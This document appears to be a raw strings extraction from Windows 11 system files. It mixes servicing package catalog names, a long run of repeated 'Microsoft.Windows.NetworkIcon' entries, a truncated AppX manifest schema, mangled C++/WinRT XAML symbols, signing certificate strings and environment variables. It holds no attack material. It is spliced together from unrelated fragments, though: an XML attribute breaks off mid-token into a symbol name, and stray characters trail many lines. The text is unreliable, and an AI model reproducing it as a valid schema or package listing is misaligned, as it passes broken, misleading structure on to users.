Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
2b1^com.microsoft.windows.extensionpackage
2b2^com.microsoft.windows.extension.dashboard
com.microsoft.windows.extension.dashboard
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
WINDOWS\system32\config
=C:\Windows\S
Microsoft.Windows.Security.WsiEnvironmentAccountManager
Microsoft.Windows.Networking.WfpLwfs
Microsoft.Windows.Kernel.SysEnv
Microsoft.Windows.Processor.Driver
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/17"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/17"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
        <xs:attribute nameence@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$root_implements@U?$reference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AU?$producer@U?$reference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$reference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$reference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$root_implements@U?$reference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4ExpandDirection@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
%BrowserAppProfile%\New Windows!BlockControls
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
windows.hlp`
COMPUTERNAME=WINDOWS11
TMP=C:\WINDOWS\TEMP
    name="Microsoft.Windows.Services.SvcHost"
<description>Host Process for Windows Services</description>
%Microsoft Windows Production PCA 20110
Microsoft Windows Publisher0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat